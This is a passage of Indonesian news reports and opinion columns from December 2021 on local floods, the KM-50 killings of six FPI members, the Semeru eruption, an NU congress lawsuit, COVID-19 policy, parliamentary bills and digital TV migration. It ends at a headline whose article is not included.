banjir di tiga desa tersebut. Pemkab Sidoarjo memastikan bahwa manajemen pompa harus berjalan sekaligus memberikan bantuan kepada warga. "Ini penting bahwa kehadiran pemerintah harus dirasakan masyarakat, harus mau turun mendengarkan aspirasi warga," katanya. Terkait pembangunan kisdam, Gus Muhdlor menegaskan bahwa masalah pembangunan kisdam sedikit terhambat karena permukaan airnya tidak kunjung menurun. Maka Pemkab Sidoarjo akan membangun kisdam sementara di beberapa titik. "Jadi masalah kisdam ini kita akan membangun enam kisdam, namun masalahnya ketika air naik, maka pembangunan terhambat. Secepatnya kita bikin kisdam sementara di ujung desa sekitar. Karena kondisi sekarang ini mirip mangkok, sehingga kita pastikan di ujung tiga desa ini ada kisdam untuk kita pompa," ucapnya. (mth)

Senin, 7 Desember 2020 sampai Selasa, 7 Desember 2021: Di Mana Aktor Pembunuh Enam Laskar FPI Bersembunyi

SETAHUN yang lalu peristiwa tragis itu terjadi. Tidak ada angin dan tidak ada hujan, mereka harus dibunuh dengan peluru tajam yang menghujam ke badan. Tidak hanya bekas tembusan peluru, beberapa bagian tubuhnya pun terkelupas dan melepuh, diduga karena diseret atau diperlakukan sangat tidak manusiawi oleh para pembantai yang dilakukan oleh anggota polisi. Hari ini, 7 Desember 2021, peristiwa tersebut genap setahun. Ya, setahun sudah, peristiwa pembantaian terhadap enam orang laskar Front Pembela Islam (FPI) berlalu. Trageti itu terjadi pada 7 Desember 2020. Enam orang laskar yang pengawal Habib Rizieq Syihab (HRS) dan keluarga menuju pengajian keluarga inti di wilayah Karawang, Jawa Barat, harus mengerang nyawa. Peristiwa tragis itu terjadi sekitar pukul 00.30 WIB. Rombongan HRS dan keluarga sudah mulai dibuntuti sejak berangkat dari kawasan Sentul, Bogor, Jawa Barat. Saat berada di jalan tol, terjadi aksi saling memotong jalan, antara mobil yang ditumpangi laskar dengan mobil yang awalnya tidak diketahui dikemudikan siapa. Sebab, tidak ada pakaian resmi yang digunakan oleh pengemudi dan penumpang yang memepet mobil laskar. Juga tidak ada peringatan atau kode yang menyebutkan mereka petugas polisi. Akan tetapi, yang pasti, laskar yang terdiri dari dua mobil (total 10 orang laskar) berusaha mengamankan HRS dan keluarga. Di dalam mobil HRS, ada istri, anak, menantu dan cucu-cucunya. Atas izin Allah Subhanahu Wa Ta’ala, perjuangan laskar mengamankan dan menyelamatkan HRS dan keluarga berhasil. Penguntit tidak bisa mendeteksi atau mengikuti mobil yang ditumpangi Imam Besar FPI itu. HRS dan keluarga selamat. Akan tetapi, tidak demikian dengan enam orang laskar yang akhirnya gugur dalam membela dan melindungi sang guru, sang imam yang sangat mereka cintai dan kagumi itu. Ya, tugas mereka mengawal HRS dan keluarga, apa pun risikonya. Menjelang shalat Subuh, Munarman waktu itu Seretaris Umum FPI, mengirimkan pesan berantai. Isinya, “Enam orang pengawal Habib Rizieq Syihab hilang diculik orang tidak dikenal (OTK).” Wajar dia sebut diculik OTK, karena saat peristiwa terjadi, tidak ada orang yang menduga yang melakukan penculikan dan pembantaian itu adalah anggota Kepolisian Daerah (Polda) Metro Jaya. Wajar disebut diculik, karena berdasarkan pantauan pembicaraan komunikasi yang dimiliki FPI, para laskar sempat melaporkan jika mereka diserang orang tidak dikenal. Peristiwa menjadi terang-benderang. Siang hari, Senin, 7 Desember 2020, Kepala Kepolisian Daerah Metro Jaya, Inpektur Jenderal Muhammad Fadil Imran mengumumkan anggotanya yang menembak enam laskar itu. Saat jumpa pers, ia antara lain didampingi Mayor Jenderal Dudung Abdurrahman (Panglima Komando Daerah Jaya waktu itu), kini menjadi Kepala Staf TNI Angkatan Darat (KASAD). Fadil mengaku, anak buahnya “terpaksa” menembak laskar, karena melakukan perlawanan. Nah, mari kita telusuri berbagai hal yang menyangkut tewasnya Muhammad Reza, Lutfi Hakim, M.Suci Khadafi, Ahmad Sofiyan, Faiz Ahmad Syukur dan Andi Oktaviana. Jika kita ikuti penuturan Fadil yang menyebutkan melakukan perlawanan, itu sangat mustahil dan tidak masuk akal. Hal itu bisa dilihat dari rekonstruksi yang dilakukan aparat kepolisian di KM-50, Jalan Tol Jakarta-Cikampek. Saat rekonstruksi, terlihat enam laskar masih hidup. Dua di antaranya terlihat disuruh jalan merangkak. Tidak terlihat ada benda yang membahayakan di dalam tubuh mereka (polisi mengatakan ditemukan senjata rakitan dan samurai di mobil). Artinya, semua barang berbahaya sudah di tangah polisi. Keenam laskar kemudian disuruh masuk ke mobil lain yang sudah disiapkan polisi. Artinya, jelas pembunuhan terhadap enam laskar itu tidak dilakukan di KM-50. Akan tetapi, dilakukan di dalam mobil atau di suatu tempat yang sudah disiapkan sebelumnya. Wallohu a’lam. Meski tidak ditembak atau dibunuh di tempat tersebut, akan tetapi peristiwa itu lebih dikenal dengan Tragedi KM-50. Banyak hal yang dirasakan kurang sinkron, antara keterangan pihak kepolisian dengan saksi di tempat, maupun keterangan dari pihak FPI. Keterangan polisi berubah-ubah dan tidak sesuai dengan rekonstruksi (rekonstruksi lebih mendekati fakta keterangan dari FPI). Keterangan FPI yang disampaikan Munarman, selalu konsisten dan hampir sama dengan keterangan yang mulai terungkap di Pengadilan Negeri Jakarta Selatan, saat dua orang anggota polisi duduk sebagai terdakwa dalam kasus tersebut. Banyak kejanggalan. Banyak cerita yang seakan-akan dikarang-karang. Akan tetapi, begitu di hadapan hakim PN Jaksel, semua tidak bisa lagi mengarang cerita. Sebab, mereka yang menjadi saksi dan terdakwa disumpah sesuai dengan agama masing-masing. Bagi yang beragama Islam, disumpah dengan Kitab Suci AlQur’an di atas kepala. Sumpah seperti itu, bagi seorang yang beragama Islam (walaupun hanya Islam KTP), sangat berat. Hingga sekarang persidangan perdana yang dimulai 18 Oktober 2021 itu masih berlanjut. Dua orang polisi menjadi terdakwa, yaitu Ispektur Polisi Dua (Ipda) M Yusmin Ohorella, dan Brigadir Polisi Satu (Briptu) Fikri Ramadhan. Awalnya ada tiga orang anggota polisi menjadi terdakwa. Akan tetapi, satu orang atas nama Elwira Priyadi Zendrato, kasusnya ditutup karena yang bersangkutan mati dalam peristiwa kecelakaan lalu lintas di wilayah Tangerang Selatan, Provinsi Banten. Peristiwa kecelakaan yang menyebabkan ia mati terjadi tanggal 3 Januari 2021, tetapi baru diumumkan Jumat, 26 Maret 2021. Wah hebat sekali polisi kita, karena hampir tiga bulan baru diumumkan? Nah, hingga sekarang dua orang anggota polisi yang menjadi terdakwa dalam kasus pembantaian enam laskar FPI sama sekali tidak tersentuh hukum, alias tidak ditahan. Padahal, ancaman pidana terhadap terdakwa 15 tahun penjara. Sedangkan Pasal 21 ayat 4 KUHAP menjelaskan, penahanan dikenakan terhadap tersangka atau terdakwa dengan ancaman penjara lima tahun atau lebih. Sangat tidak adil! Diskriminatif ! Sangat melukai hati rakyat! Padahal, tidak sedikit juga polisi yang dihukum atasan karena sebuah kesalahan. Misalnya, anggota polisi Brigadir NP yang membanting (smackdown) mahasiswa di Tigaraksa, Kabupaten Tangerang, Provinsi Banten yang dihukum 21 hari penjara, turun pangkat dan tidak punya jabatan. Bisa juga peristiwa teranyar, yaitu anggota polisi RB yang dijadikan tersangka dan ditahan dalam kasus bunuh diri mahasiswi Universitas Brawijaya (UB) Malang, Jawa Timur. RB ditetapkan sebagai tersangka tindak pidana aborsi atau pasal dengan sengaja menggugurkan kandungan atau mematikan janin. RB dijerat pasal 348 KUHP juncto pasal 55 KUHP dengan ancaman 5 tahun penjara. Lalu, mengapa terhadap dua orang pembunuh enam laskar tidak tersentuh hukum, alias tidak ditahan? Padahal, cara menembaknya sangat sadis. Diduga ditembak dari jarak dekat, dan lobang peluru ada yang sampai 2 dan tiga dalam pada jenazah laskar. Pembunuhan yang sadis dan kejam, karena terdapat luka yang mengerikan, mirip dibakar atau diseret di aspal? Apakah karena mereka pelaku saja yang mendapatkan perlindungan dari atasan atau dari pihak tertentu? Mengapa tidak ada anggota polisi lain yang menjadi tersangka? Padahal, di pengadilan, sudah mulai terkuat siapa yang mengeluarkan surat perintah. Direktur Kriminal Umum (Dirkrimum) Polda Metro Jaya Komisaris Besar Tubagus Ade Hidayat disebut menjadi orang yang memerintahkan tujuh anggota kepolisian melakukan pembuntutan terhadap rombongan Muhammad Rizieq Syhab, dengan surat perintah penyelidikan (sprindik). Hal itu dikatakan, Toni Suhendar dalam kesaksiannya yang dihadirkan jaksa penuntut umum (JPU) sebagai saksi dalam sidang lanjutan perkara yang menewaskan 6 anggota laskar FPI, di PN Jakarta Selatan, Selasa, 26 November 2021. Toni sendiri merupakan anggota Sub Direktorat Resimen Mobil Direktorat Reserse Kriminam Umum (Subdit Resmob Ditreskrimum) Polda Metro Jaya yang juga mendapat mandat ikut melakukan pembuntutan tersebut. Dari keterangan Toni Suhendar itu, juga semakin tekuak, yang diperintahkan membuntuti ada tujuh anggota polisi. Jika yang sudah ditetapkan menjadi tersangka 3 orang (satu kasus ditutup karena mati), lalu ke mana empat anggota polisi lain yang membuntuti itu? Apakah tugas mereka hanya membuntuti, mengamati, atau turut mengeksekusi? Kemana sopir mobil yang digunakan mengangkut enam laskar? Akan tetapi, karena target utama mereka bukan laskar, melainkan Habib Rizieq Syihab, maka semua masih serba misteri. Semua yang mereka lakukan, apakah membuntuti, mengintai, membunuh, tidak lama lagi akan terungkap semua. Termasuk aktornya siapa? Jika tidak terungkap di pengadilan dunia, yang pasti di pengadilan akhirat akan terbuka secara terang-benderang. **

Belajar dari Semeru

Oleh: Yusuf Blegur Innalillahi wa inna ilaihi roji'un. Turut berduka yang sedalam-dalamnya atas musibah meletusnya gunung Semeru di kabupaten Lumajang, Jawa Timur. Bangsa Indonesia kembali berduka, karena peristiwa alam yang merenggut jiwa dan harta benda, khususnya warga di kawasan gunung tertinggi di Pulau Jawa tersebut. Sekali lagi, bukan hanya kesalahan yang disebabkan oleh ulah manusia, seketika alam pun dapat menunjukkan eksistensinya. Memuntahkan kemarahannya, menghukum dan membuat manusia menderita tak berdaya. Gunung dengan puncaknya Mahameru setinggi 3676 m dari permukaan laut itu tidak sekadar fenomena alam yang hanya bisa dilihat dari tinjauan vulkanologi. Sesungguhnya ada kekuatan yang menggerakkan alam dan menegaskan, betapa manusia dan seluruh makhluk hidup begitu lemah juga rapuh bagai butiran debu di hadapan Sang Pencipta. Kekuasaan Tuhan Yang Maha Menghidupkan dan Mematikan, Yang Maha mengadakan dan meniadakan. Di tengah keprihatinan hidup yang menyelimuti seluruh rakyat Indonesia dalam menjalani kehidupan bernegara dan berbangsa, Indonesia kembali mengalami bencana meletusnya gunung berapi. Seakan tak cukup terpuruk karena gonjang-ganjing ekonomi dan politik. Rakyat dipaksa pasrah menerima musibah dari dahsyatnya aksi dan pergerakan alam. Semburan awan debu dan lahar panas gunung seakan mengikuti rangkaian unjuk rasa alam. Mulai dari kebakaran hutan, tanah longsor, banjir bandang dan semua fenomena iklim ekstrim yang menakutkan. Rakyat Indonesia belakangan dihadapkan pada ganasnya alam bahkan saat kepedihan dari pandemi belum berlalu. Bangsa Indonesia seakan sedang menuju titik puncak pada distorsi relasi antar sesama, dengan alam semesta dan terhadap Tuhan. Kerusakan, kehancuran dan kematian terus membayangi kehidupan rakyat Indonesia di setiap tempat dan waktu. Bukan saja terdampak dalam urusan fisik materil semata, bahkan penyalahgunaan dan penyimpangan juga terjadi pada hal-hal yang trasedental. Rakyat Indonesia tak cukup terus digelayuti potensi bencana alam. Sebagian besar rakyat juga mengalami erosi keagamaan. Di satu sisi nafsu memiliki kebendaan dan menguasai apa yang ada disekitarnya begitu tinggi. Di lain sisi manusia telah melupakan apa yang hakiki yang telah diamanatkan Tuhan. Keserakahan dan kegilaan pada dunia telah dalam merasuki jiwa manusia. Kegagalan membangun keseimbangan dan keharmonisan akal dengan keimanan. Membuat manusia tak berhenti mengalami musibah. Mungkin inilah jawaban Tuhan atas kufur nikmat manusia selama ini. Tak mudah bersyukur terhadap rahmat Allah. Mengingkari dan mendustakannya. Sepanjang manusia mengalami pergeseran aqidahnya. Sebuah Isyarat Kesombongan manusia dengan penguasaannya pada dunia, sampai-sampai mengabaikan apa yang menjadi petunjuk dari kalam Ilahi. Membuat manusia semakin larut dari semrawutnya dunia yang fana. Pembangkangan terhadap Tuhan terus mewujud dalam perilaku dzolim manusia pada dirinya sendiri dan kepada sesama. Tak hanya sampai disitu, manusia juga mengusik alam dan menista Tuhannya. Demi memuaskan keinginannya, ia rela mengubur agamanya. Tanda-tanda kebesaran dan kekuasaan Tuhan terus meredup. Seiring meluap-luapnya syahwat kenikmatan dunia atas harta dan jabatan. Manusia kerapkali menganggap remeh pada kematian yang sejatinya menjadi nasehat terbaik. Lupa diri dan mabuk saat dalam kesenangan. Namun merintih-rintih dan iba saat dalam penderitaan. Kebanyakan hanya berdoa dan ingin menghadirkan Tuhan tatkala dirundung masalah dan kesulitan hidup. Pengakuan dan penyerahan diri kepada Allah azza wa jalla hanya muncul ketika dihinggapi rasa sakit yang teramat berat dan perih. Mungkin ini belum selesai, sejauh kemunkaran masih merajalela. Selama manusia enggan menegakkan kebenaran. Saat keadilan terus dipermainkan, saat itu juga siksa pedih terus mengintai. Menunggu azab yang tak terkira, yang tak pernah terpikirkan dan tak pernah dibayangkan sekalipun. Betapa hinanya manusia merebut kesombongan yang menjadi pakaian Allah subhanahu wa ta'ala. Allah masih tetap memberi kesempatan selama hidupnya. Allah masih menebar rahmatNya. Begitulah Allah yang Ar-Rahman Ar-Rahim. Bagaimana pun Allah belum memberikan hukuman yang sesungguhnya seperti dalam alam hisab. manusia layak untuk menangkap isyarat-isyaratnya. Sebagaimana Al Quran yang telah dihadirkan memberikan petunjuk dan pembeda dalam kehidupan di dunia. Seandainya saja Kitabullah menjadi sebenar-benarnya landasan bagi umat manusia dalam kehidupannya. In syaa Allah, manusia akan tetap berada di jalan keselamatan dan terhindar dari jalan kesesatan. Semeru pada hakekatnya, hanyalah sebagian kecil dari kekuasaan Allah Yang Maha Besar lagi Maha Perkasa. Semeru juga menjadi isyarat betapa kecil dan tak berartinya manusia dihadapan Allah. Manusia meski congkak, namun tetap diperlihatkan berulang-ulang pada kekuasaan sejati . Seperti Allah yang sedang berseru, tunduklah manusia dihadapan Allah dan janganlah manusia melampaui batas. Dari Semeru, dengan segala lirih yang menyayat dan kedukaannya. Indonesia bisa belajar banyak hal dan membangun keinsyafan. Bersujud dalam taubatan nasuha. Belajar dengan sebaik-baiknya tentang kemanusiaan, belajar tentang alam semesta dan belajar pada kekuasaan Allah Ya Karim. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Arah Baru ROB 2021

Oleh Ridwan Saidi Labuhan Kalapa masuk ke arah kanan. Lokasi masih Kali Adem. Arah kiri Muara Angke. Labuhan Kalapa yang beroperasi sejak IX M, pada 1540 pindah ke Pasar Ikan dan Kali Besar Barat karena Rob dari Kali Adem. Sejak jaman reformasi Rob datang dari Muara Angke. Pemda DKI pasang tanggul batako tinggi dua meter. Sejak 3/12/2021 kawasan Sunda Kalapa sampai hari ini in every single day terus dihantam Rob dari arah Muara Angke dari 09.00 s/d 12.00. Tembok batako DKI diloncati Rob. PIK dan Muara Baru juga terkena banjir, tapi tak parah. Yang parah kawasan Muara Angke, Pengasinan, Yapat, dan Tongkol. Wagub DKI Patria atas musibah ini komentar singkat, nanti juga itu Rob surut. Komentar pak Wagub persis komentar orang-orang tua di jaman Jepang kalau anak dan isterinya mengeluh menderita penyakit, diamkan saja nanti juga sembuh sendiri. Ada pepatah rakyat yang pas dengan statemen Wagub Patria dan maklumat Menko Luhut beberapa jam lalu: Tiada hujan tiada angin, pohon asam te-roya-oya. Tiada gara-gara tiada yang jampein PPKM level 3 batal begitu saja. *) Budayawan

Keputusan Rais Aam PBNU Majukan Jadwal Muktamar Digugat di Pengadilan

Jakarta, FNN - Keputusan Rais Aam PBNU Kiai Haji Miftachul Ahyar memajukan jadwal pelaksanaan Muktamar Ke-34 NU dari tanggal 23—25 Desember menjadi 17 Desember digugat ke pengadilan oleh dua kader NU Provinsi Lampung. Gugatan diajukan Rais Syuriyah PWNU Lampung K.H. Muhsin Abdullah dan Katib Syuriah PWNU Lampung Basyarudin Maisir melalui LBH NU Provinsi Lampung ke Pengadilan Negeri Tanjungkarang, Senin (6/12). Gugatan tersebut telah terdaftar dengan nomor perkara 211/Pdt.G/2021/PN Tjk. Selain memohon pengadilan membatalkan keputusan pimpinan tertinggi di NU tersebut, dua penggugat juga ingin Rais Aam dihukum dengan cara meminta maaf melalui media cetak dan elektronik nasional serta lokal selama 7 hari berturut-turut. Menanggapi gugatan itu, Lembaga Bantuan Hukum (LBH) Gerakan Pemuda Ansor siap memberikan bantuan hukum kepada Rais Aam PBNU K.H. Miftachul Akhyar. "Sudah menjadi tugas Ansor dan LBH Ansor untuk menjaga muruah para kiai, terlebih muruah Rais Aam yang merupakan pimpinan tertinggi di Nahdlatul Ulama," kata Koordinator Litigasi LBH Pimpinan Pusat Gerakan Pemuda Ansor Dendy Z. Finsa di Jakarta, Selasa. LBH Ansor meyakini gugatan itu akan mudah dimentahkah oleh pengadilan karena langkah K.H. Miftachul Ahyar mengubah jadwal pelaksanaan muktamar sama sekali tidak bertentangan dengan peraturan yang ada. "Selain sudah berpijak pada Anggaran Dasar dan Anggaran Rumah Tangga (AD/ART) NU, keputusan Rais Aam juga berdasar hasil musyawarah di PBNU," ujarnya. Selain itu, lanjut Dendy, dorongan agar ada perubahan waktu muktamar ini juga disampaikan langsung oleh sedikitnya 27 PWNU kepada Rais Aam di Jakarta, Senin (29/12). Penentuan waktu muktamar secara resmi juga akan ditetapkan melalui Konferensi Besar (Konbes) NU yang digelar di Jakarta, Selasa (7/12), dengan mengundang seluruh Pengurus Wilayah Nahdlatul Ulama (PWNU), mutasyar, a’wan, syuriah, tanfiziah, badan, dan lembaga otonom di PBNU. "Sehingga tidak ada sedikit pun ruang kesalahan dari keputusan Rais Aam ini. Meskipun K.H. Misftachul Akhyar merupakan pimpinan tertinggi di NU, beliau jelas sangat hati-hati dan bergerak berdasar regulasi atau AD/ART. Sekali lagi, kami siap melawan gugatan ini karena sangat lemah bukti-buktinya," ujar Dendy. (sws)

Anggota DPR: Teruskan Strategi Pengendalian Varian Delta di Omicron

Jakarta, FNN - Anggota DPR RI Zulfikar Arse Sadikin memandang perlu meneruskan strategi pemerintah dalam mengendalikan COVID-19 varian Delta sebagai upaya pencegahan varian Omicron. "Pemerintah sudah berhasil dalam mengendalikan varian Delta," kata anggota Fraksi Golkar DPR RI Zulfikar Arse Sadikin dalam keterangannya diterima di Jakarta Selasa. Bahkan, kata Zulfikar, keberhasilan pemerintah Indonesia sudah diakui oleh dunia, dan dijadikan contoh bagi beberapa negara lain oleh WHO. Menurut dia, pemerintah daerah tentunya akan tetap menjadi garda depan dalam pengendalian COVID-19. "Bukan agresif, melainkan tepatnya lebih pada responsif dalam melakukan pengawasan di masyarakat," katanya. Zulfikar mengatakan bahwa pengendalian penyebaran COVID-19 tersebut tetap mengutamakan pendekatan yang manusiawi ketimbang pendekatan yang agresif. "Sekali lagi, kita patut pertahankan strategi saat pengendalian varian Delta dalam menghadapi varian Omicron ini," katanya. Menurut dia, kesadaran masyarakat saat ini terkait dengan protokol masyarakat sudah meningkat, hanya saja mulai ada sedikit ketidakwaspadaan karena jumlah pasien COVID-19 yang terus menurun. "Ini tentu tugas kita bersama agar jangan sampai periode gelombang kedua terulang kembali dan jadi gelombang ketiga. Mengingat varian virus makin berbahaya saat ini," ucapnya. Keberhasilan strategi yang sudah dicapai perlu diteruskan, terutama dengan mengingatkan kembali masyarakat soal risiko gelombang COVID-19, Masalahnya, kata dia, varian Delta yang terjadi beberapa waktu lalu membuat kehidupan masyarakat menjadi sulit. "Baik itu dari sisi ekonomi maupun ditinggalkan sanak saudara menjadi korban," katanya. Zulfikar menyebutkan salah satu strategi yang besar pengaruhnya pada pengendalian adalah masyarakat meningkatkan kedispilinan mengenai protokol kesehatan. Penularan akan makin sulit terjadi bila semua pihak taat protokol kesehatan. Ia melihat masyarakat sangat terbiasa dan sangat paham manfaat dari protokol kesehatan untuk melindungi diri mereka dari COVID-19. Namun, tetap harus selalu diingatkan agar tidak kendur dengan disiplin protokol kesehatan. Sementara itu, anggota Fraksi Golkar DPR RI Dyah Roro Esti menilai semua elemen tentunya punya peran dalam menyosialisasikan atau mengingatkan masyarakat agar tidak abai terhadap penyebaran COVID-19. "Namun, top down approach juga penting, di sinilah ranah pemda untuk memonitor jumlah kasus di wilayahnya masing-masing dan menerapkan sebuah kebijakan agar jumlah kasus tidak makin meningkat ke depannya," kata Roro. Ditekankan pula bahwa protokol kesehatan juga perlu diperketat, misalnya sebelum hadir di sebuah kegiatan diwajibkan antigen/PCR H-1. Begitu pula, saat kegiatan berlangsung tetap menjaga protokol dan sebagainya. "Sosialisasi tentang pandemi juga perlu ditingkatkan, baik di tingkat daerah maupun pusat, dengan berbagai cara yang gampang dicerna oleh rakyat," ujarnya. (sws)

DPR Gelar Paripurna Agendakan Ambil Keputusan RUU Kejaksaan

Jakarta, FNN - DPR RI menggelar rapat paripurna pada Selasa pagi dengan salah satu agenda pengambilan keputusan Tingkat II beberapa rancangan undang-undang (RUU), salah satunya revisi UU Nomor 16 Tahun 2004 tentang Kejaksaan yang telah diputuskan di Komisi III DPR. Selain RUU Kejaksaan yang akan disetujui DPR menjadi UU, ada beberapa RUU yang diambil keputusan Tingkat II, yaitu: pertama, RUU tentang Pembentukan Pengadilan Tinggi Kepulauan Riau, Pengadilan Tinggi Sulawesi Barat, Pengadilan Tinggi Kalimantan Utara, dan Pengadilan Tinggi Papua Barat. Kedua, RUU tentang Pembentukan Pengadilan Tinggi Tata Usaha Negara Palembang, Pengadilan Tinggi Tata Usaha Negara Banjarmasin, Pengadilan Tinggi Tata Usaha Negara Manado, dan Pengadilan Tinggi Tata Usaha Negara Mataram. Ketiga, RUU tentang Pembentukan Pengadilan Tinggi Agama Bali, Pengadilan Tinggi Agama Papua, Pengadilan Tinggi Agama Kepulauan Riau, Pengadilan Tinggi Agama Sulawesi Barat, dan Pengadilan Tinggi Agama Kalimantan Utara. Keempat, RUU tentang Hubungan Keuangan antara Pemerintah Pusat dan Pemerintah Daerah. Rapat Paripurna DPR juga mengagendakan penetapan Program Legislasi Nasional (Prolegnas) RUU Prioritas Tahun 2022, laporan Komisi XI DPR RI terhadap hasil uji kelayakan calon Deputi Gubernur Bank Indonesia yang dilanjutkan dengan pengambilan keputusan. Selain itu, diagendakan BPK RI akan menyampaikan ikhtisar hasil pemeriksaan beserta Laporan Hasil Pemeriksaan Semester I Tahun 2021. Paripurna DPR tersebut direncanakan akan melakukan persetujuan perpanjangan waktu pembahasan terhadap RUU tentang Landas Kontinental, RUU tentang Perlindungan Data Pribadi, RUU tentang Hukum Acara Perdata, RUU tentang Praktik Psikologi, dan RUU tentang Perubahan atas UU Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara (ASN). Penetapan keanggotaan Panitia Khusus (Pansus) RUU tentang Ibu Kota Negara (IKN) juga akan diputuskan dalam Rapat Paripurna DPR. (sws)

Mendagri Terbitkan Instruksi Lanjutan PPKM Luar Jawa-Bali

Jakarta, FNN - Menteri Dalam Negeri (Mendagri) Tito Karnavian menerbitkan instruksi terbaru lanjutan pemberlakuan pembatasan kegiatan masyarakat (PPKM) untuk luar wilayah Jawa dan Bali. Direktur Jenderal Bina Administrasi Kewilayahan Kementerian Dalam Negeri Safrizal ZA lewat pesan elektronik di Jakarta, Selasa mengatakan, instruksi tersebut yakni Inmendagri Nomor 65 Tahun 2021 tentang pemberlakuan PPKM level 3, 2 dan level 1 di wilayah Sumatera, Nusa Tenggara, Kalimantan, Sulawesi, Maluku dan Papua. "Instruksi Menteri ini mulai berlaku pada 7 Desember hingga 23 Desember 2021," kata dia. Pada instruksi kali ini aturan PPKM yang diterapkan mirip dengan yang tertera pada instruksi sebelumnya tentang wilayah Sumatera, Nusa Tenggara, Kalimantan, Sulawesi, Maluku dan Papua. Mendagri menyampaikan instruksi tentang wilayah-wilayah kabupaten kota yang ditetapkan berlevel 3, 2 ataupun 1. Penetapan level wilayah berpedoman pada indikator penyesuaian upaya kesehatan masyarakat dan pembatasan sosial dalam penanggulangan pandemi COVID-19 yang ditetapkan oleh Menteri Kesehatan. Kemudian penetapan level tersebut juga berpedoman pada indikator capaian total vaksinasi dosis 1. Dimana, level PPKM kabupaten kota dinaikkan 1 level apabila capaian total vaksinasi dosis 1 kurang dari 50 persen. Kemudian pada instruksi Mendagri juga mengatur penyesuaian soal pembatasan kegiatan masyarakat mulai dari kegiatan belajar mengajar, aturan bekerja di kantor atau (WFO). Penyesuaian PPKM soal pusat perbelanjaan, pasar tradisional, pasar modern, mal, tempat pariwisata, tempat ibadah, kegiatan olahraga, bioskop, pelaksanaan kegiatan seni budaya, pelaksanaan kegiatan di area publik, hingga soal penyesuaian pembatasan terkait pesta pernikahan. Penyesuaian PPKM yang diterapkan berbeda-beda, sesuai dengan level wilayah dari kabupaten kota baik level 3, 2 maupun 1. Pada Inmendagri kali ini Mendagri Tito Karnavian kembali menginstruksikan agar gubernur setelah mendapatkan suplai vaksin dari Kementerian Kesehatan, segera mendistribusikan ke kabupaten kota dan tidak ditahan sebagai cadangan (stok) di Provinsi. Gubernur, bupati dan wali kota diinstruksikan melarang setiap bentuk aktivitas kegiatan yang dapat menimbulkan kerumunan. Gubernur, bupati dan wali kota juga diminta berkoordinasi dan berkolaborasi dengan TNI, Polri serta kejaksaan dalam mengkoordinasikan dan mengawasi pelaksanaan PPKM. (sws)

Gubernur Kaltim Ingatkan Kepala Daerah Hati-Hati Gunakan Anggaran

Samarinda, FNN - Gubernur Kalimantan Timur (Kaltim) Isran Noor mengingatkan kepada para kepala daerah yakni bupati dan wali kota di wilayah setempat untuk berhati-hati dalam menggunakan anggaran di daerahnya masing- masing. Isran menekankan kepada para pengguna anggaran untuk menerapkan aturan sesuai prosedur yang berlaku, sehingga tidak terjadi kesalahan dalam penggunaan keuangan negara dan bisa berimplikasi hukum. “Gunakan anggaran sesuai prosedur dan hati-hati, biar tidak terjadi kesalahan,” kata Isran Noor saat menyerahkan Daftar Isian Pelaksanaan Anggaran (DIPA) Tahun 2022 dan Daftar Alokasi Transfer ke Daerah dan Dana Desa (TKDD) kepada kepala satuan kerja instansi vertikal dan bupati serta wali kota se-Kaltim, di Ballroom Hotel Mercure Samarinda pada Senin, 6 Desember 2021. DIPA Kaltim tahun 2022 sebesar Rp28,81 triliun, terdiri dari belanja kementerian/lembaga (K/L) sebesar Rp8,75 triliun yang dialokasikan untuk 38 K/L yang terdiri dari 416 satuan kerja. Sedangkan alokasi TKDD tahun 2022 mencapai Rp20,06 triliun. Dana terbagi atas Dana Bagi Hasil sebesar Rp10,75 triliun, Dana Alokasi Umum sebesar Rp5,33 triliun serta Dana Alokasi Khusus (DAK) Fisik sebesar Rp963,55 miliar dan nonfisik Rp2.11 triliun. Sedangkan Dana Insentif Daerah sebesar Rp141,12 miliar dan Dana Desa mencapai Rp760,29 miliar. Isran juga berharap DIPA dan TKDD yang telah diserahkan dapat digunakan dengan efektif dan akuntabel untuk mempercepat pembangunan di seluruh wilayah Kaltim. Dia menyarankan, pemerintah pusat untuk melakukan perbaikan sistem anggaran, sehingga berimplikasi pada penyerapan anggaran yang lebih besar. (sws)

KPI Aceh Tingkatkan Sosialisasi Migrasi TV Analog ke Digital

Banda Aceh, FNN - Komisi Penyiaran Indonesia (KPI) Aceh meningkatkan sosialisasi terkait program migrasi dari televisi (TV) tv analog ke digital kepada masyarakat Aceh, apalagi setelah adanya penundaan hingga 2022 sebagai dampak pandemi COVID-19. "Kita terus menyosialisasikan kepada masyarakat akan ada perpindahan dari TV analog ke digital," kata Ketua KPI Aceh Putri Novriza, di Banda Aceh, Selasa. Ia mengatakan sosialisasi kepada masyarakat dilakukan dengan berbagai cara seperti kampanye melalui kegiatan literasi media, spanduk, serta papan reklame. Selain itu, katanya, dalam upaya sosialisasi ini pihaknya juga bekerja sama dengan lembaga penyiaran, minimal sekali melalui "running text" di TV. "Kita sampaikan bahwa kita akan segera berpindah ke TV digital, dan kita harus mempersiapkan diri," katanya. Migrasi TV ke digital ini untuk Aceh, katanya, juga telah ditunda mulai 30 April 2022 sampai 2 November 2022 dari sebelumnya direncanakan 17 Agustus 2022. Perubahan jadwal ini, kata dia, karena masih dalam pandemi COVID-19, sehingga infrastruktur yang sedang dipersiapkan sedikit terhalang, atau kebutuhan barang sulit didapatkan. "Walaupun ini diundur bukan berarti tidak jadi, apalagi Indonesia sudah cukup tertinggal dari negara lain," katanya. Nantinya pada saat penerapan TV digital itu, kata dia, pemerintah juga tidak lagi memasang menara khusus, tetapi menggunakan server dari pemenang penyelenggara multipleksing (mux), di antaranya TVRI, SCTV dan Trans TV. "Nanti menyewa server dari mereka pemenang mux, dan nanti itu sebanyak 72 televisi bisa masuk," katanya. Ia menambahkan dengan adanya migrasi ke tv digital tersebut, maka juga akan mempermudah dan mempercepat penggunaan jaringan internet, hal itu karena tidak lagi terganggu dengan analog tersebut. "Ini perlu disampaikan agar masyarakat mengetahui, dan dengan ditundanya ini maka masyarakat juga lebih siap menghadapi perubahan tersebut," demikian Putri Novriza. (sws)

Bupati Tulungagung: Enam ASN Penerima Bansos Wajib Kembalikan Bantuan

